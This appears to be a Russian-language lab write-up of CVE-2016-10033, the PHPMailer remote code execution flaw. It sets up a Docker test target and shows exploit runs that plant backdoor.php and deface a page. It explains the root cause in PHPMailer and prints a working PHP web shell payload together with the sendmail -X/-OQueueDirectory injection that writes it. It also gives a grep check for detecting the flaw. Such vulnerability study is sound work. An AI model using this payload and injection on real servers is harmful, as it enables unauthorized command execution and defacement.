
Чтобы решить проблему CTFS.me
PHPMailer — самый популярный в мире класс для отправки почты, по оценкам, насчитывающий 9 миллионов пользователей по всему миру. Загрузки продолжаются значительными темпами ежедневно. Используется многими проектами с открытым исходным кодом: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! и многими другими.
PHPMailer до версии 5.2.18 содержит уязвимость, которая может привести к удаленному выполнению кода (RCE). Функция mailSend в транспорте isMail в PHPMailer, когда свойство Sender не установлено, может позволить удаленным злоумышленникам передавать дополнительные параметры команде mail и, следовательно, выполнять произвольный код через " (обратная косая черта и двойная кавычка) в специально сформированном адресе From.
Чтобы настроить уязвимую среду для тестирования, вам понадобится установленный Docker, и просто выполните следующую команду:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
И это запустит уязвимое веб-приложение на вашем хосте на порту 8080

Чтобы эксплуатировать эту цель, просто запустите:
./exploit host:port
Если вы используете этот уязвимый образ, вы можете просто запустить:
./exploit localhost:8080
После эксплуатации файл с именем backdoor.php будет сохранен в корневой папке веб-каталога. Эксплойт предоставит вам оболочку, в которой вы сможете отправлять команды на бэкдор:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
И всё, вы получили свою оболочку. Есть еще один эксплойт, который иллюстрирует другой вариант использования.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
И если вы снова посетите страницу, вы увидите это:

До этого коммита в class.phpmailer.php в определенном сценарии отсутствует фильтрация специальных символов адреса отправителя. Этот недостаток может привести к удаленному выполнению кода через функцию mail здесь.
Анализируя код, мы видим, что в функции mailSend() нет фильтрации
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender напрямую добавляется к переменной $params, которая ранее фильтровалась в функции validateAddress(), но поскольку она использует спецификацию RFC 3696, она допускает определенные символы, которые могут нарушить работу.
В данном случае — кавычки:
В дополнение к экранированию с помощью обратной косой черты, обычные символы двойных кавычек могут использоваться для обрамления строк. Например,
"Abc@def"@example.com
"Fred Bloggs"@example.com
являются альтернативными формами первых двух примеров выше. Эти формы в кавычках редко рекомендуются и на практике встречаются нечасто, но, как обсуждалось выше, должны поддерживаться приложениями, которые обрабатывают адреса электронной почты. В частности, формы в кавычках часто появляются в контексте адресов, связанных с переходом из других систем и контекстов; эти переходные требования всё ещё возникают, и поскольку система, принимающая предоставленный пользователем адрес электронной почты, не может "знать", связан ли этот адрес с наследуемой системой, эти формы адресов должны приниматься и передаваться в среду электронной почты.
Вы можете прочитать полный RFC здесь, если хотите. Но также, если версия PHP ниже 5.2.0 и не установлен PCRE, переменная $patternselect в validateAddress() будет установлена в noregex. Это позволит входным данным избежать любой проверки регулярных выражений. Они пройдут только небольшую проверку:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
Затем поток выполнения переходит к функции mailPassthru(), которая, если выполняется в safe_mode, не будет уязвима для этой ошибки, о чём говорит следующий код:
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
Но если он не выполняется в safe_mode, то наш специальный параметр будет передан в mail(), и, если нам повезёт, он запишет наш файл, содержащий что угодно, в то место, которое мы выберем.
Эксплуатация функции PHP mail() — не новость, но она всё ещё актуальна, и люди продолжают её использовать. Чтобы объяснить, как это работает, давайте посмотрим, как определяется функция mail():
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
Существует несколько методов эксплуатации для достижения разных результатов; мы сосредоточимся на эксплуатации 5-го параметра для получения удаленного выполнения кода (RCE). Параметр $additional_parameters используется для передачи дополнительных флагов в качестве параметров командной строки программе, настроенной для отправки письма. Эта конфигурация определяется переменной sendmail_path.
Примечание по безопасности из официальной документации PHP:
The additional_parameters parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmiail option.
This parameter is escaped by escapeshellcmd() internally to prevent command execution. escapeshellcmd() prevents command execution, but allows to add additional parameters. For security reasons, it is recommended for the user to sanitize this parameter to avoid adding unwanted parameters to the shell command.
Учитывая дополнительные параметры, которые можно внедрить, мы будем использовать -X для эксплуатации этой уязвимости. Подробнее о параметре -X:
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
Есть также несколько других интересных параметров, о существовании которых вам следует знать:
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
-O option=value
Set option option to the specified value. This form uses long names.
А для опции -O наиболее интересным является QueueDirectory — эта опция выбирает каталог, в котором будут помещаться в очередь сообщения.
Если вы хотите прочитать полный список параметров и опций, просто выполните man sendmail или прочитайте его онлайн здесь
Основываясь на этой информации и возможности контролировать хотя бы один из других параметров, мы можем эксплуатировать хост. Ниже приведены шаги для успешной эксплуатации:
$additional_parameters и другим параметром mail()webroot (также /var/www/html для других систем, /www для этого примера)system() с добавлением base64 и некоторыми специальными символами | для упрощения парсинга.Помните, что опция -X записывает файл журнала, который будет содержать среди прочей информации журнала вашу PHP-нагрузку, в указанный вами каталог. Пример уязвимого PHP-кода:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
Если вы выполните приведенный выше код, он создаст файл журнала в /www/backdoor.php — в этом суть данного эксплойта.
Ниже приведена нагрузка, используемая в этом примере:
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
Хотите простой, однокомандный способ попытаться обнаружить эту уязвимость? Запомните эту магическую команду grep!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
Запуск её в этом репозитории даст результат:
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
Эта уязвимость была обнаружена Dawid Golunski.
Эта и предыдущие программы предназначены ТОЛЬКО для образовательных целей. Не используйте их без разрешения. Применяется обычный отказ от ответственности, особенно тот факт, что я (opsxcq) не несу ответственности за любой ущерб, причиненный прямым или косвенным использованием информации или функциональности, предоставленной этими программами. Автор или любой интернет-провайдер НЕ несет ответственности за содержание или неправильное использование этих программ или любых их производных. Используя эти программы, вы принимаете тот факт, что любой ущерб (потеря данных, сбой системы, компрометация системы и т.д.), вызванный использованием этих программ, не является ответственностью opsxcq.